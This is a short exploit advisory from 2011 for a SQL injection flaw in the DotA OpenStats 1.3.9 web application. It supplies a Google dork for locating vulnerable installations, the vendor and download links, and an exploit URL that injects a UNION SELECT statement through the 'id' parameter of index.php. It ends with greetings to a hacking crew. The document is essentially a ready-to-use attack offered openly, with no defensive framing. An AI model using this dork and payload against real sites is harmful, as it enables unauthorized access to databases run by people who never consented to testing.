DotA OpenStats 1.3.9 – SQL Injection
============= # Exploit Title: DotA OpenStats SQL Injection Vulnerability # Google Dork: "© 2011 Powered by DotA OpenStats" # Date: 19/12/2011 # Author: HvM17 # Version: 1.3.9 and below # Tested on: WinXP ============= # VenDor : http://openstats.iz.rs/ # Download script: https://sourceforge.net/projects/dotaopenstats/ ============= [~] Exploit http://localhost/dotaStats/index.php?id='1 UNION SELECT 1,2,3,4 ============ Made IN INDONESIA Greetz for All HVM crew :) ============ |